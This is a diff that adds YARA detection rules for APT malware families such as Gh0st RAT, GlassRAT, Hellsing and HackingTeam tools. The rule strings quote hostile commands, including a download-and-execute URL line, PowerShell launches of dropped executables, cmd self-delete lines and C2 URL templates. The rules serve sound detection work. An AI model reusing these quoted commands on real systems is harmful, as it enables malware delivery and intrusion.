+		$s3 = "SHELL32.dll" fullword ascii /* Goodware String - occured 3233 times */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 48KB and $x1 ) or ( all of them )
+}
+
+rule FourElementSword_ElevateDLL_2 {
+	meta:
+		description = "Detects FourElementSword Malware - file 9c23febc49c7b17387767844356d38d5578727ee1150956164883cf555fe7f95"
+		author = "Florian Roth"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		hash = "9c23febc49c7b17387767844356d38d5578727ee1150956164883cf555fe7f95"
+	strings:
+		$s1 = "Elevate.dll" fullword ascii
+		$s2 = "GetSomeF" fullword ascii
+		$s3 = "GetNativeSystemInfo" fullword ascii /* Goodware String - occured 530 times */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 25KB and $s1 ) or ( all of them )
+}
+
+rule FourElementSword_fslapi_dll_gui {
+	meta:
+		description = "Detects FourElementSword Malware - file 2a6ef9dde178c4afe32fe676ff864162f104d85fac2439986de32366625dc083"
+		author = "Florian Roth"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		hash = "2a6ef9dde178c4afe32fe676ff864162f104d85fac2439986de32366625dc083"
+	strings:
+		$s1 = "fslapi.dll.gui" fullword wide
+		$s2 = "ImmGetDefaultIMEWnd" fullword ascii /* Goodware String - occured 64 times */
+		$s3 = "RichOX" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 12KB and all of them )
+}
+
+rule FourElementSword_PowerShell_Start {
+	meta:
+		description = "Detects FourElementSword Malware - file 9b6053e784c5762fdb9931f9064ba6e52c26c2d4b09efd6ff13ca87bbb33c692"
+		author = "Florian Roth"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		hash = "9b6053e784c5762fdb9931f9064ba6e52c26c2d4b09efd6ff13ca87bbb33c692"
+	strings:
+		$s0 = "start /min powershell C:\\\\ProgramData\\\\wget.exe" ascii
+		$s1 = "start /min powershell C:\\\\ProgramData\\\\iuso.exe" fullword ascii
+	condition:
+		1 of them
+}
+
+rule FourElementSword_ResN32DLL {
+	meta:
+		description = "Detects FourElementSword Malware - file bf1b00b7430899d33795ef3405142e880ef8dcbda8aab0b19d80875a14ed852f"
+		author = "Florian Roth"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		hash = "bf1b00b7430899d33795ef3405142e880ef8dcbda8aab0b19d80875a14ed852f"
+	strings:
+		$s1 = "\\Release\\BypassUAC.pdb" ascii
+		$s2 = "\\ResN32.dll" fullword wide
+		$s3 = "Eupdate" fullword wide
+	condition:
+		all of them
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule FourElementSword_ElevateDLL {
+	meta:
+		description = "Detects FourElementSword Malware - from files 3dfc94605daf51ebd7bbccbb3a9049999f8d555db0999a6a7e6265a7e458cab9, 5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c"
+		author = "Florian Roth"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		super_rule = 1
+		hash1 = "3dfc94605daf51ebd7bbccbb3a9049999f8d555db0999a6a7e6265a7e458cab9"
+		hash2 = "5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c"
+	strings:
+		$x1 = "Elevate.dll" fullword wide
+		$x2 = "ResN32.dll" fullword wide
+
+		$s1 = "Kingsoft\\Antivirus" fullword wide
+		$s2 = "KasperskyLab\\protected" fullword wide
+		$s3 = "Sophos" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 500KB and 1 of ($x*) and all of ($s*) )
+		or ( all of them )
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_furtim.yar b/yara-mikesxrs/Florian Roth/apt_furtim.yar
new file mode 100644
index 0000000..45eb906
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_furtim.yar	
@@ -0,0 +1,53 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-07-15
+	Identifier: Furtim Malware
+*/
+
+rule Furtim_nativeDLL {
+	meta:
+		description = "Detects Furtim malware - file native.dll"
+		author = "Florian Roth"
+		reference = "MISP 3971"
+		date = "2016-06-13"
+		hash1 = "4f39d3e70ed1278d5fa83ed9f148ca92383ec662ac34635f7e56cc42eeaee948"
+	strings:
+		$s1 = "FqkVpTvBwTrhPFjfFF6ZQRK44hHl26" fullword ascii
+
+		$op0 = { e0 b3 42 00 c7 84 24 ac } /* Opcode */
+		$op1 = { a1 e0 79 44 00 56 ff 90 10 01 00 00 a1 e0 79 44 } /* Opcode */
+		$op2 = { bf d0 25 44 00 57 89 4d f0 ff 90 d4 02 00 00 59 } /* Opcode */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 900KB and $s1 or all of ($op*)
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-07-16
+	Identifier: Furtim Parent
+*/
+
+rule Furtim_Parent_1 {
+	meta:
+		description = "Detects Furtim Parent Malware"
+		author = "Florian Roth"
+		reference = "https://sentinelone.com/blogs/sfg-furtims-parent/"
+		date = "2016-07-16"
+		hash1 = "766e49811c0bb7cce217e72e73a6aa866c15de0ba11d7dda3bd7e9ec33ed6963"
+	strings:
+		/* RC4 encryption password */
+		$x1 = "dqrChZonUF" fullword ascii
+		/* Other strings */
+		$s1 = "Egistec" fullword wide
+		$s2 = "Copyright (C) 2016" fullword wide
+		/* Op Code */
+		$op1 = { c0 ea 02 88 55 f8 8a d1 80 e2 03 }
+		$op2 = { 5d fe 88 55 f9 8a d0 80 e2 0f c0 }
+		$op3 = { c4 0c 8a d9 c0 eb 02 80 e1 03 88 5d f8 8a d8 c0 }
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 900KB and
+		( $x1 or ( all of ($s*) and all of ($op*) ) ) ) or
+		all of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_ghostdragon_gh0st_rat.yar b/yara-mikesxrs/Florian Roth/apt_ghostdragon_gh0st_rat.yar
new file mode 100644
index 0000000..5ff74a2
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_ghostdragon_gh0st_rat.yar	
@@ -0,0 +1,87 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-04-23
+	Identifier: Ghost Dragon Gh0st RAT
+*/
+
+rule GhostDragon_Gh0stRAT {
+	meta:
+		description = "Detects Gh0st RAT mentioned in Cylance' Ghost Dragon Report"
+		author = "Florian Roth"
+		reference = "https://blog.cylance.com/the-ghost-dragon"
+		date = "2016-04-23"
+		hash1 = "f9a669d22866cd041e2d520c5eb093188962bea8864fdfd0c0abb2b254e9f197"
+		hash2 = "99ee5b764a5db1cb6b8a4f62605b5536487d9c35a28a23de8f9174659f65bcb2"
+		hash3 = "6c7f8ba75889e0021c4616fcbee86ac06cd7f5e1e355e0cbfbbb5110c08bb6df"
+		hash4 = "b803381535ac24ce7c8fdcf6155566d208dfca63fd66ec71bbc6754233e251f5"
+	strings:
+		$x1 = "REG ADD HKEY_LOCAL_MACHINE\\%s /v ServiceDll /t REG_EXPAND_SZ /d \"%s\"" fullword ascii
+		$x2 = "Global\\REALCHEL_GLOBAL_SUBMIT_20031020_" fullword ascii
+		$x3 = "\\xclolg2.tmp" fullword ascii
+		$x4 = "Http/1.1 403 Forbidden" fullword ascii
+		$x5 = "%sxsd%d.pif" fullword ascii
+		$x6 = "%s\\%s32.dl_" fullword ascii
+		$x7 = "%-23s %-16s  0x%x(%02d)" fullword ascii
+		$x8 = "RegSetValueEx(start)" fullword ascii
+		$x9 = "%s\\%s64.dl_" fullword ascii
+		$x10 = "$#REGMASTERKEY$WebCat was successfully started" fullword wide
+
+		$s1 = "viewsc.dll" fullword ascii
+		$s2 = "Proxy-Connection:   Keep-Alive" fullword ascii
+		$s3 = "\\sfc_os.dll" fullword ascii
+		$s4 = "Mozilla/4.0 (compatible)" fullword ascii
+		$s5 = "Http/1.1 403 Forbidden" fullword ascii
+		$s6 = "CONNECT   %s:%d   HTTP/1.1" fullword ascii
+		$s7 = "WindowsUpperVersion" fullword ascii
+		$s8 = "[%d-%d-%d %d:%d:%d] (%s)" fullword ascii
+		$s9 = "SOFTWARE\\Microsoft\\DataAccess\\%s" fullword ascii
+		$s10 = "%s sp%d(%d)" fullword ascii
+		$s11 = "OpenSC ERROR " fullword ascii
+		$s12 = "get rgspath error " fullword ascii
+		$s13 = "Global\\GLOBAL_SUBMIT_0234_" fullword ascii
+		$s14 = "Global\\_vc_ck_ %d" fullword ascii
+	condition:
+		(
+			uint16(0) == 0x5a4d and filesize < 500KB
+			and (
+				1 of ($x*) or 4 of ($s*)
+			)
+		) or ( 6 of them )
+}
+
+rule GhostDragon_Gh0stRAT_Sample2 {
+	meta:
+		description = "Detects Gh0st RAT mentioned in Cylance' Ghost Dragon Report"
+		author = "Florian Roth"
+		reference = "https://blog.cylance.com/the-ghost-dragon"
+		date = "2016-04-23"
+		hash1 = "71a52058f6b5cef66302c19169f67cf304507b4454cca83e2c36151da8da1d97"
+	strings:
+		$x1 = "AdobeWpk" fullword ascii
+		$x2 = "seekin.dll" fullword ascii
+
+		$c1 = "Windows NT 6.1; Trident/6.0)" fullword ascii
+		$c2 = "Mozilla/5.0 (compatible; MSIE 10.0; " fullword ascii
+	condition:
+		(
+			uint16(0) == 0x5a4d and filesize < 80KB and (
+				all of ($x*) or all of ($c*)
+			)
+		) or ( all of them )
+}
+
+rule GhostDragon_Gh0stRAT_Sample3 {
+	meta:
+		description = "Detects Gh0st RAT mentioned in Cylance' Ghost Dragon Report"
+		author = "Florian Roth"
+		reference = "https://blog.cylance.com/the-ghost-dragon"
+		date = "2016-04-23"
+		hash1 = "1be9c68b31247357328596a388010c9cfffadcb6e9841fb22de8b0dc2d161c42"
+	strings:
+		$op1 = { 44 24 15 65 88 54 24 16 c6 44 24 }
+		$op2 = { 44 24 1b 43 c6 44 24 1c 75 88 54 24 1e }
+		$op3 = { 1e 79 c6 44 24 1f 43 c6 44 24 20 75 88 54 24 22 }
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_glassRAT.yar b/yara-mikesxrs/Florian Roth/apt_glassRAT.yar
new file mode 100644
index 0000000..a1f0add
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_glassRAT.yar	
@@ -0,0 +1,69 @@
+/*
+	Yara Rule Set
+	Author: RSA RESEARCH, Florian Roth
+	Date: 2015-11-23
+	Identifier: GlassRAT
+*/
+
+rule glassRAT
+{
+	meta:
+		author = "RSA RESEARCH"
+		date = "3 Nov 2015"
+      description = "Detects GlassRAT by RSA (modified by Florian Roth - speed improvements)"
+		Info = "GlassRat"
+		/* MD5s
+			37adc72339a0c2c755e7fef346906330
+			59b404076e1af7d0faae4a62fa41b69f
+			5c17395731ec666ad0056d3c88e99c4d
+			e98027f502f5acbcb5eda17e67a21cdc
+			87a965cf75b2da112aea737220f2b5c2
+			22e01495b4419b564d5254d2122068d9
+			42b57c0c4977a890ecb0ea9449516075
+			b7f2020208ebd137616dadb60700b847	*/
+	strings:
+		$bin1 = {85 C0 B3 01} 		/* 	test    eax, eax
+										  mov     bl, 1 */
+		// $bin2 = {34 02}				// xor     al, 2 ---> XOR key for rundll32.exe
+		$bin3 = {68 4C 50 00 10}	// push    offset KeyName  ; "2"
+		$bin4 = {68 48 50 00 10}	// push    offset a3       ; "3"
+		$bin5 = {68 44 50 00 10}	// push    offset a4       ; "4"
+		$hs = {CB FF 5D C9 AD 3F 5B A1 54 13 FE FB 05 C6 22}  // Initial Handshake ---> can be added or removed for hunting for different variants
+		//$re1  = {50 00 00 00}
+		//$re2  = {BB 01 00 00}
+		// Dwords of C2 Ports (80 | 443 | 53) 2 -3 times
+		$s1 = "pwlfnn10,gzg" // rundll32.exe XOR 02
+		$s2 = "AddNum"
+		$s3 = "ServiceMain"
+		$s4 = "The Window"
+		$s5 = "off.dat"
+	condition:
+		all of ($bin*) and $hs and 3 of ($s*) //The conditions can be adjusted for hunting for different variants
+}
+
+rule GlassRAT_Generic {
+	meta:
+		description = "Detects GlassRAT Malware"
+		author = "Florian Roth"
+		reference = "https://blogs.rsa.com/peering-into-glassrat/"
+		date = "2015-11-23"
+		score = 80
+		hash1 = "30d26aebcee21e4811ff3a44a7198a5c519843a24f334880384a7158e07ae399"
+		hash2 = "3bdeb3805e9230361fb93c6ffb0bfec8d3aee9455d95b2428c7f6292d387d3a4"
+		hash3 = "79993f1912958078c4d98503e00dc526eb1d0ca4d020d17b010efa6c515ca92e"
+		hash4 = "a9b30b928ebf9cda5136ee37053fa045f3a53d0706dcb2343c91013193de761e"
+		hash5 = "c11faf7290299bb13925e46d040ed59ab3ca8938eab1f171aa452603602155cb"
+		hash6 = "d95fa58a81ab2d90a8cbe05165c00f9c8ad5b4f49e98df2ad391f5586893490d"
+		hash7 = "f1209eb95ce1319af61f371c7f27bf6846eb90f8fd19e8d84110ebaf4744b6ea"
+	strings:
+		$s1 = "cmd.exe /c %s" fullword ascii
+		$s2 = "update.dll" fullword ascii
+		$s3 = "SYSTEM\\CurrentControlSet\\Services\\RasAuto\\Parameters" fullword ascii
+		$s4 = "%%temp%%\\%u" fullword ascii
+		$s5 = "\\off.dat" fullword ascii
+		$s6 = "rundll32 \"%s\",AddNum" fullword ascii
+		$s7 = "cmd.exe /c erase /F \"%s\"" fullword ascii
+		$s8 = "SYSTEM\\ControlSet00%d\\Services\\RasAuto" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 15MB and 5 of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_hackingteam_rules.yar b/yara-mikesxrs/Florian Roth/apt_hackingteam_rules.yar
new file mode 100644
index 0000000..15c2187
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_hackingteam_rules.yar	
@@ -0,0 +1,82 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-07-07
+	Identifier: HackingTeam
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule bin_ndisk {
+	meta:
+		description = "Hacking Team Disclosure Sample - file ndisk.sys"
+		author = "Florian Roth"
+		reference = "https://www.virustotal.com/en/file/a03a6ed90b89945a992a8c69f716ec3c743fa1d958426f4c50378cca5bef0a01/analysis/1436184181/"
+		date = "2015-07-07"
+		score = 100
+		hash = "cf5089752ba51ae827971272a5b761a4ab0acd84"
+	strings:
+		$s1 = "\\Registry\\Machine\\System\\ControlSet00%d\\services\\ndisk.sys" fullword wide 
+		$s2 = "\\Registry\\Machine\\System\\ControlSet00%d\\Enum\\Root\\LEGACY_NDISK.SYS" fullword wide 
+		$s3 = "\\Driver\\DeepFrz" fullword wide
+		$s4 = "Microsoft Kernel Disk Manager" fullword wide 
+		$s5 = "ndisk.sys" fullword wide
+		$s6 = "\\Device\\MSH4DEV1" fullword wide
+		$s7 = "\\DosDevices\\MSH4DEV1" fullword wide
+		$s8 = "built by: WinDDK" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and 6 of them
+}
+
+rule Hackingteam_Elevator_DLL {
+	meta:
+		description = "Hacking Team Disclosure Sample - file elevator.dll"
+		author = "Florian Roth"
+		reference = "http://t.co/EG0qtVcKLh"
+		date = "2015-07-07"
+		score = 70
+		hash = "b7ec5d36ca702cc9690ac7279fd4fea28d8bd060"
+	strings:
+		$s1 = "\\sysnative\\CI.dll" fullword ascii 
+		$s2 = "setx TOR_CONTROL_PASSWORD" fullword ascii 
+		$s3 = "mitmproxy0" fullword ascii 
+		$s4 = "\\insert_cert.exe" fullword ascii
+		$s5 = "elevator.dll" fullword ascii
+		$s6 = "CRTDLL.DLL" fullword ascii
+		$s7 = "fail adding cert" fullword ascii
+		$s8 = "DownloadingFile" fullword ascii 
+		$s9 = "fail adding cert: %s" fullword ascii
+		$s10 = "InternetOpenA fail" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and 6 of them
+}
+
+rule HackingTeam_Elevator_EXE {
+	meta:
+		description = "Hacking Team Disclosure Sample - file elevator.exe"
+		author = "Florian Roth"
+		reference = "Hacking Team Disclosure elevator.c"
+		date = "2015-07-07"
+		score = 70
+		hash1 = "40a10420b9d49f87527bc0396b19ec29e55e9109e80b52456891243791671c1c"
+		hash2 = "92aec56a859679917dffa44bd4ffeb5a8b2ee2894c689abbbcbe07842ec56b8d"
+		hash = "9261693b67b6e379ad0e57598602712b8508998c0cb012ca23139212ae0009a1"
+	strings:
+		$x1 = "CRTDLL.DLL" fullword ascii
+		$x2 = "\\sysnative\\CI.dll" fullword ascii
+		$x3 = "\\SystemRoot\\system32\\CI.dll" fullword ascii
+		$x4 = "C:\\\\Windows\\\\Sysnative\\\\ntoskrnl.exe" fullword ascii /* PEStudio Blacklist: strings */
+
+		$s1 = "[*] traversing processes" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "_getkprocess" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "[*] LoaderConfig %p" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "loader.obj" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3" ascii /* PEStudio Blacklist: strings */
+		$s6 = "[*] token restore" fullword ascii /* PEStudio Blacklist: strings */
+		$s7 = "elevator.obj" fullword ascii
+		$s8 = "_getexport" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB and all of ($x*) and 3 of ($s*)
+}
+
+
diff --git a/yara-mikesxrs/Florian Roth/apt_hellsing_kaspersky.yar b/yara-mikesxrs/Florian Roth/apt_hellsing_kaspersky.yar
new file mode 100644
index 0000000..dbf18ac
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_hellsing_kaspersky.yar	
@@ -0,0 +1,137 @@
+
+rule apt_hellsing_implantstrings { 
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab" 
+		copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing implants"
+	strings: 
+		$mz = "MZ"
+		$a1 = "the file uploaded failed !"
+		$a2 = "ping 127.0.0.1"
+		$b1 = "the file downloaded failed !"
+		$b2 = "common.asp"
+		$c = "xweber_server.exe" 
+		$d = "action="
+		$debugpath1 = "d:\\Hellsing\\release\\msger\\" nocase 
+		$debugpath2 = "d:\\hellsing\\sys\\xrat\\" nocase 
+		$debugpath3 = "D:\\Hellsing\\release\\exe\\" nocase 
+		$debugpath4 = "d:\\hellsing\\sys\\xkat\\" nocase 
+		$debugpath5 = "e:\\Hellsing\\release\\clare" nocase 
+		$debugpath6 = "e:\\Hellsing\\release\\irene\\" nocase 
+		$debugpath7 = "d:\\hellsing\\sys\\irene\\" nocase
+		$e = "msger_server.dll" 
+		$f = "ServiceMain"
+	condition:
+		($mz at 0) and (all of ($a*)) or (all of ($b*)) or ($c and $d) or (any of ($debugpath*)) or ($e and $f) and filesize < 500000
+}
+
+rule apt_hellsing_installer { 
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab"
+		copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing xweber/msger installers"
+	strings: 
+		$mz = "MZ"
+		$cmd = "cmd.exe /c ping 127.0.0.1 -n 5&cmd.exe /c del /a /f \"%s\""
+		$a1 = "xweber_install_uac.exe"
+		$a2 = "system32\\cmd.exe" wide
+		$a4 = "S11SWFOrVwR9UlpWRVZZWAR0U1aoBHFTUl2oU1Y="
+		$a5 = "S11SWFOrVwR9dnFTUgRUVlNHWVdXBFpTVgRdUlpWRVZZWARdUqhZVlpFR1kEUVNSXahTVgRaU1YEUVNSXahTVl1SWwRZValdVFFZUqgQBF1SWlZFVllYBFRTVqg=" 
+		$a6 = "7dqm2ODf5N/Y2N/m6+br3dnZpunl44g=" $a7="vd/m7OXd2ai/5u7a59rr7Ki45drcqMPl5t/c5dqIZw=="
+		$a8 = "vd/m7OXd2ai/usPl5qjY2uXp69nZqO7l2qjf5u7a59rr7Kjf5tzr2u7n6euo4+Xm39zl2qju5dqo4+Xm39zl2t/m7ajr19vf2OPr39rj5eaZmqbs5OSINjl2tyI"
+		$a9 = "C:\\Windows\\System32\\sysprep\\sysprep.exe" wide 
+		$a10 = "%SystemRoot%\\system32\\cmd.exe" wide 
+		$a11 = "msger_install.dll"
+		$a12 = {00 65 78 2E 64 6C 6C 00}
+	condition:
+		($mz at 0) and ($cmd and (2 of ($a*))) and filesize < 500000
+}
+
+rule apt_hellsing_proxytool { 
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab"
+		copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing proxy testing tool"
+	strings: 
+		$mz = "MZ"
+		$a1 = "PROXY_INFO: automatic proxy url => %s"
+		$a2 = "PROXY_INFO: connection type => %d"
+		$a3 = "PROXY_INFO: proxy server => %s"
+		$a4 = "PROXY_INFO: bypass list => %s"
+		$a5 = "InternetQueryOption failed with GetLastError() %d"
+		$a6 = "D:\\Hellsing\\release\\exe\\exe\\" nocase
+	condition:
+		($mz at 0) and (2 of ($a*)) and filesize < 300000
+}
+
+rule apt_hellsing_xkat { 
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab" copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing xKat tool"
+	strings: 
+		$mz = "MZ"
+		$a1 = "\\Dbgv.sys" $a2="XKAT_BIN" $a3="release sys file error."
+		$a4 = "driver_load error. "
+		$a5 = "driver_create error."
+		$a6 = "delete file:%s error." 
+		$a7 = "delete file:%s ok."
+		$a8 = "kill pid:%d error."
+		$a9 = "kill pid:%d ok."
+		$a10 = "-pid-delete"
+		$a11 = "kill and delete pid:%d error."
+		$a12 = "kill and delete pid:%d ok."
+	condition:
+		($mz at 0) and (6 of ($a*)) and filesize < 300000
+}
+
+rule apt_hellsing_msgertype2 { 
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab"
+		copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing msger type 2 implants"
+	strings: 
+		$mz = "MZ"
+		$a1 = "%s\\system\\%d.txt"
+		$a2 = "_msger" 
+		$a3 = "http://%s/lib/common.asp?action=user_login&uid=%s&lan=%s&host=%s&os=%s&proxy=%s"
+		$a4 = "http://%s/data/%s.1000001000" 
+		$a5 = "/lib/common.asp?action=user_upload&file="
+		$a6 = "%02X-%02X-%02X-%02X-%02X-%02X"
+	condition:
+		($mz at 0) and (4 of ($a*)) and filesize < 500000
+}
+
+rule apt_hellsing_irene { 
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab"
+		copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing msger irene installer"
+	strings: 
+		$mz = "MZ"
+		$a1 = "\\Drivers\\usbmgr.tmp" wide
+		$a2 = "\\Drivers\\usbmgr.sys" wide
+		$a3 = "common_loadDriver CreateFile error!"
+		$a4 = "common_loadDriver StartService error && GetLastError():%d!"
+		$a5 = "irene" wide
+		$a6 = "aPLib v0.43 - the smaller the better" 
+	condition:
+		($mz at 0) and (4 of ($a*)) and filesize < 500000
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_hizor_rat.yar b/yara-mikesxrs/Florian Roth/apt_hizor_rat.yar
new file mode 100644
index 0000000..8020e43
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_hizor_rat.yar	
@@ -0,0 +1,27 @@
+rule apt_win32_dll_rat_hiZorRAT
+{
+	meta:
+      dexcription = "Detects hiZor RAT"
+		hash1 = "75d3d1f23628122a64a2f1b7ef33f5cf"
+		hash2 = "d9821468315ccd3b9ea03161566ef18e"
+		hash3 = "b9af5f5fd434a65d7aa1b55f5441c90a"
+      ref1 = "http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html"
+      reference = "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL.pdf"
+	strings:
+		// Part of the encoded User-Agent = Mozilla
+		$s1 = { c7 [5] 40 00 62 00 c7 [5] 77 00 64 00 c7 [5] 61 00 61 00 c7 [5] 6c 00 }
+
+		// XOR to decode User-Agent after string stacking 0x10001630
+		$s2 = { 66 [7] 0d 40 83 ?? ?? 7c ?? }
+
+		// XOR with 0x2E - 0x10002EF6
+		$s3 = { 80 [2] 2e 40 3b ?? 72 ?? }
+
+		$s4 = "CmdProcessExited" wide ascii
+		$s5 = "rootDir" wide ascii
+		$s6 = "DllRegisterServer" wide ascii
+		$s7 = "GetNativeSystemInfo" wide ascii
+		$s8 = "%08x%08x%08x%08x" wide ascii
+	condition:
+		(uint16(0) == 0x5A4D or uint32(0) == 0x4464c457f) and (all of them)
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_indetectables_rat.yar b/yara-mikesxrs/Florian Roth/apt_indetectables_rat.yar
new file mode 100644
index 0000000..190f048
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_indetectables_rat.yar	
@@ -0,0 +1,52 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-10-01
+	Identifier: Indetectables RAT
+*/
+
+rule Indetectables_RAT {
+	meta:
+		description = "Detects Indetectables RAT based on strings found in research by Paul Rascagneres & Ronan Mouchoux"
+		author = "Florian Roth"
+		reference = "http://www.sekoia.fr/blog/when-a-brazilian-string-smells-bad/"
+		date = "2015-10-01"
+		super_rule = 1
+		hash1 = "081905074c19d5e32fd41a24b4c512d8fd9d2c3a8b7382009e3ab920728c7105"
+		hash2 = "66306c2a55a3c17b350afaba76db7e91bfc835c0e90a42aa4cf59e4179b80229"
+		hash3 = "1fa810018f6dd169e46a62a4f77ae076f93a853bfc33c7cf96266772535f6801"
+	strings:
+		$s1 = "Coded By M3" fullword wide
+		$s2 = "Stub Undetector M3" fullword wide
+		$s3 = "www.webmenegatti.com.br" wide
+		$s4 = "M3n3gatt1" fullword wide
+		$s5 = "TheMisterFUD" fullword wide
+		$s6 = "KillZoneKillZoneKill" fullword ascii
+		$s7 = "[[__M3_F_U_D_M3__]]$" fullword ascii
+		$s8 = "M3_F_U_D_M3" ascii
+		$s9 = "M3n3gatt1hack3r" fullword wide
+		$s10 = "M3n3gatt1hack3r" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 5000KB and 1 of them
+}
+
+rule BergSilva_Malware {
+	meta:
+		description = "Detects a malware from the same author as the Indetectables RAT"
+		author = "Florian Roth"
+		date = "2015-10-01"
+		super_rule = 1
+		hash1 = "00e175cbad629ee118d01c49c11f3d8b8840350d2dd6d16bd81e47ae926f641e"
+		hash2 = "6b4cbbee296e4a0e867302f783d25d276b888b1bf1dcab9170e205d276c22cfc"
+	strings:
+		$x1 = "C:\\Users\\Berg Silva\\Desktop\\" wide
+		$x2 = "URLDownloadToFileA 0, \"https://dl.dropbox.com/u/105015858/nome.exe\", \"c:\\nome.exe\", 0, 0" fullword wide
+
+		$s1 = " Process.Start (Path.GetTempPath() & \"name\" & \".exe\") 'start server baixado" fullword wide
+		$s2 = "FileDelete(@TempDir & \"\\nome.exe\") ;Deleta o Arquivo para que possa ser executado normalmente" fullword wide
+		$s3 = " Lib \"\\WINDOWS\\system32\\UsEr32.dLl\"" fullword wide
+		$s4 = "$Directory = @TempDir & \"\\nome.exe\" ;Define a variavel" fullword wide
+		$s5 = "https://dl.dropbox.com/u/105015858" wide
+	condition:
+		uint16(0) == 0x5a4d and ( 1 of ($x*) or 2 of ($s*) )
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_inocnation.yar b/yara-mikesxrs/Florian Roth/apt_inocnation.yar
new file mode 100644
index 0000000..0e31f65
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_inocnation.yar	
@@ -0,0 +1,29 @@
+rule apt_win32_dll_rat_1a53b0cp32e46g0qio7
+{
+	meta:
+		description = "Detects Inocnation Malware"
+		author = "Fidelis Cybersecurity"
+		score = 75
+		hash1 = "75d3d1f23628122a64a2f1b7ef33f5cf"
+		hash2 = "d9821468315ccd3b9ea03161566ef18e"
+		hash3 = "b9af5f5fd434a65d7aa1b55f5441c90a"
+		reference = "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL.pdf"
+	strings:
+		// Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0;rv:11.0) like Gecko
+		$s1 = { c7 [2] 64 00 63 00 c7 [2] 69 00 62 00 c7 [2] 7a 00 7e 00 c7 [2] 2d 00 43 00 c7 [2] 59 00 2d 00 c7 [2] 3b 00 23 00 c7 [2] 3e 00 36 00 c7 [2] 2d 00 5a 00 c7 [2] 42 00 5a 00 c7 [2] 3b 00 39 00 c7 [2] 36 00 2d 00 c7 [2] 59 00 7f 00 c7 [2] 64 00 69 00 c7 [2] 68 00 63 00 c7 [2] 79 00 22 00 c7 [2] 3a 00 23 00 c7 [2] 3d 00 36 00 c7 [2] 2d 00 7f 00 c7 [2] 7b 00 37 00 c7 [2] 3c 00 3c 00 c7 [2] 23 00 3d 00 c7 [2] 24 00 2d 00 c7 [2] 61 00 64 00 c7 [2] 66 00 68 00 c7 [2] 2d 00 4a 00 c7 [2] 68 00 6e 00 c7 [2] 66 00 62 00 } // offset 10001566
